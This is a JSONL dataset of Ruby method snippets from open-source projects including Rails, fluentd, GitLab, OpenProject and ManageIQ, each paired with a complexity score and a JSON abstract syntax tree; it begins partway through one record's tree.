\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prog_version\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This determination is based on the version string: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prog_version\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}","id":"dd58d535-ae87-4752-b36e-4dcfd784eb6a"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/shared_generator_tests.rb","start_line":172,"raw_source":"def test_template_with_special_characters_in_path\n    Dir.mktmpdir do |dir|\n      template_path = \"#{dir}/company's $99 template  (original).rb\"\n      FileUtils.cp \"#{fixtures_root}/lib/template.rb\", template_path\n\n      assert_match \"It works from file!\", run_generator([destination_root, \"-m\", template_path])\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_template_with_special_characters_in_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/company's $99 template  (original).rb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"cp\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixtures_root\"]}]},{\"type\":\"str\",\"children\":[\"/lib/template.rb\"]}]},{\"type\":\"lvar\",\"children\":[\"template_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"It works from file!\"]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"-m\"]},{\"type\":\"lvar\",\"children\":[\"template_path\"]}]}]}]}]}]}]}","id":"05849b9c-9160-4853-b9f8-7d34e5d46eec"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_forward.rb","start_line":1191,"raw_source":"def execute_test_with_source_hostname_key(*keys, &block)\n    conf = base_config.dup\n    if keys.include?(:hostname)\n      conf << <<EOL\nsource_hostname_key source_hostname\nEOL\n    end\n    if keys.include?(:address)\n      conf << <<EOL\nsource_address_key source_address\nEOL\n    end\n    @d = d = create_driver(conf)\n\n    time = event_time(\"2011-01-02 13:14:15 UTC\")\n    events = [\n      [\"tag1\", time, {\"a\"=>1}],\n      [\"tag1\", time, {\"a\"=>2}]\n    ]\n\n    d.run(expect_records: events.size) do\n      block.call(events)\n    end\n\n    d.events.each { |tag, _time, record|\n      if keys.include?(:hostname)\n        assert_true record.has_key?('source_hostname')\n        assert_equal DUMMY_SOCK.remote_host, record['source_hostname']\n      end\n      if keys.include?(:address)\n        assert_true record.has_key?('source_address')\n        assert_equal DUMMY_SOCK.remote_addr, record['source_address']\n      end\n    }\n  end","complexity_score":43.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_test_with_source_hostname_key\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"keys\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_config\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"<<\",{\"type\":\"str\",\"children\":[\"source_hostname_key source_hostname\\n\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"<<\",{\"type\":\"str\",\"children\":[\"source_address_key source_address\\n\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@d\",{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"2011-01-02 13:14:15 UTC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag1\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag1\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_records\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"size\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"_time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_true\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"source_hostname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DUMMY_SOCK\"]},\"remote_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"source_hostname\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"address\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_true\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"source_address\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DUMMY_SOCK\"]},\"remote_addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"source_address\"]}]}]}]},null]}]}]}]}]}","id":"3eb61e54-d311-4577-b6cb-48fcbc96eb8e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_related_epic_links_to_issue_links.rb","start_line":9,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          values_subquery = sub_batch.select(select_fields_to_insert_sql)\n          values_subquery = values_subquery.joins(joins_target_and_source_epic_sql)\n\n          connection.execute(<<~SQL)\n            INSERT INTO issue_links (source_id, target_id, link_type, created_at, updated_at)\n             #{values_subquery.to_sql}\n            ON CONFLICT (source_id, target_id)\n            DO UPDATE SET\n              link_type = EXCLUDED.link_type,\n              created_at = EXCLUDED.created_at,\n              updated_at = EXCLUDED.updated_at\n          SQL\n        end\n      end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values_subquery\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"select\",{\"type\":\"send\",\"children\":[null,\"select_fields_to_insert_sql\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values_subquery\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values_subquery\"]},\"joins\",{\"type\":\"send\",\"children\":[null,\"joins_target_and_source_epic_sql\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO issue_links (source_id, target_id, link_type, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values_subquery\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT (source_id, target_id)\\n\"]},{\"type\":\"str\",\"children\":[\"DO UPDATE SET\\n\"]},{\"type\":\"str\",\"children\":[\"  link_type = EXCLUDED.link_type,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at = EXCLUDED.created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at = EXCLUDED.updated_at\\n\"]}]}]}]}]}]}","id":"10e23941-042c-461a-becb-f227e0897b8b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/testing/assertions.rb","start_line":329,"raw_source":"def _callable_to_source_string(callable)\n          if defined?(RubyVM::InstructionSequence) && callable.is_a?(Proc)\n            iseq = RubyVM::InstructionSequence.of(callable)\n            source =\n              if iseq.script_lines\n                iseq.script_lines.join(\"\\n\")\n              elsif File.readable?(iseq.absolute_path)\n                File.read(iseq.absolute_path)\n              end\n\n            return callable unless source\n\n            location = iseq.to_a[4][:code_location]\n            return callable unless location\n\n            lines = source.lines[(location[0] - 1)..(location[2] - 1)]\n            lines[-1] = lines[-1].byteslice(...location[3])\n            lines[0] = lines[0].byteslice(location[1]...)\n            source = lines.join.strip\n\n            # We ignore procs defined with do/end as they are likely multi-line anyway.\n            if source.start_with?(\"{\")\n              source.delete_suffix!(\"}\")\n              source.delete_prefix!(\"{\")\n              source.strip!\n              # It won't read nice if the callable contains multiple\n              # lines, and it should be a rare occurrence anyway.\n              # Same if it takes arguments.\n              if !source.include?(\"\\n\") && !source.start_with?(\"|\")\n                return source\n              end\n            end\n          end\n\n          callable\n        end","complexity_score":69.05,"ast_json":"{\"type\":\"def\",\"children\":[\"_callable_to_source_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"callable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyVM\"]},\"InstructionSequence\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Proc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iseq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyVM\"]},\"InstructionSequence\"]},\"of\",{\"type\":\"lvar\",\"children\":[\"callable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iseq\"]},\"script_lines\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iseq\"]},\"script_lines\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readable?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iseq\"]},\"absolute_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iseq\"]},\"absolute_path\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iseq\"]},\"to_a\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"code_location\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"lines\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]=\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"byteslice\",{\"type\":\"erange\",\"children\":[null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"byteslice\",{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"join\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"{\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"delete_suffix!\",{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"delete_prefix!\",{\"type\":\"str\",\"children\":[\"{\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"strip!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},null]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"callable\"]}]}]}","id":"ca73b16d-d369-4e6a-8b85-ebc7e1b9a47f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1263,"raw_source":"def existing_mrs_targeting_same_branch\n    similar_mrs = target_project\n        .merge_requests\n        .where(source_branch: source_branch, target_branch: target_branch)\n        .where(source_project: source_project)\n        .opened\n\n    similar_mrs = similar_mrs.id_not_in(id) if persisted?\n\n    similar_mrs\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_mrs_targeting_same_branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"similar_mrs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"merge_requests\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]},{\"type\":\"send\",\"children\":[null,\"source_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch\"]},{\"type\":\"send\",\"children\":[null,\"target_branch\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_project\"]},{\"type\":\"send\",\"children\":[null,\"source_project\"]}]}]}]},\"opened\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"lvasgn\",\"children\":[\"similar_mrs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"similar_mrs\"]},\"id_not_in\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"similar_mrs\"]}]}]}","id":"354f6c52-eec2-411f-802e-fd1ea394658a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/workers/cost_query/pdf/timesheet_generator.rb","start_line":247,"raw_source":"def sum_time_entries(entries)\n    entries.filter_map(&:hours).sum\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sum_time_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]}]}]},\"sum\"]}]}","id":"46a70d09-ab4a-46d6-b1c3-a324b9f079fc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/strategies/list.rb","start_line":39,"raw_source":"def operator_map\n      super_value = super.dup\n      super_value[\"=\"] = ::Queries::Operators::EqualsOr\n\n      super_value\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"operator_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"super_value\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"super_value\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"EqualsOr\"]}]},{\"type\":\"lvar\",\"children\":[\"super_value\"]}]}]}","id":"d36504d4-374e-4fad-b109-64e2f5c6bc94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/manager.rb","start_line":346,"raw_source":"def tar_version\n      Gitlab::Backup::Cli::Utils::Tar.new.version\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tar_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Utils\"]},\"Tar\"]},\"new\"]},\"version\"]}]}","id":"108b0932-b40a-4ed6-b9f0-d7e167120f1f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog_field_text_box.rb","start_line":76,"raw_source":"def refresh_json_value\n    @value = values_from_automate\n\n    {:text => @value, :read_only => read_only?, :visible => visible?}\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_json_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"send\",\"children\":[null,\"values_from_automate\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"ivar\",\"children\":[\"@value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_only\"]},{\"type\":\"send\",\"children\":[null,\"read_only?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"send\",\"children\":[null,\"visible?\"]}]}]}]}]}","id":"2fd42bd2-66cc-4de6-a68c-eb0969ee34b5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":812,"raw_source":"def migrate(x)\n        create_table :more_testings do |t|\n          t.datetime :published_at\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"more_testings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"published_at\"]}]}]}]}","id":"3f9a5c51-64cc-4357-aabf-cec7be27c591"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/thread.rb","start_line":103,"raw_source":"def thread_exist?(title)\n        @_threads.values.count{|thread| title == thread[:_fluentd_plugin_helper_thread_title] } > 0\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"thread_exist?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_threads\"]},\"values\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_fluentd_plugin_helper_thread_title\"]}]}]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"4f20ec34-1b5e-4e50-9984-73a2d0f9cce9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/position_tracer_helpers.rb","start_line":33,"raw_source":"def expect_change_position(attrs, result = subject)\n    aggregate_failures(\"expect change position #{attrs.inspect}\") do\n      change_position = result[:position]\n\n      expect(result[:outdated]).to be_truthy\n\n      if attrs.nil? || attrs.empty?\n        expect(change_position).to be_nil\n      else\n        expect(change_position).not_to be_nil\n        expect(change_position.diff_refs).to eq(change_diff_refs)\n\n        attrs.each do |attr, value|\n          expect(change_position.send(attr)).to eq(value)\n        end\n      end\n    end\n  end","complexity_score":48.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_change_position\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]},{\"type\":\"optarg\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aggregate_failures\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expect change position \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"inspect\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"change_position\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"outdated\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_truthy\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"change_position\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"change_position\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change_position\"]},\"diff_refs\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"change_diff_refs\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change_position\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}]}]}","id":"85125d56-0584-403a-b973-7661e33b34e8"}
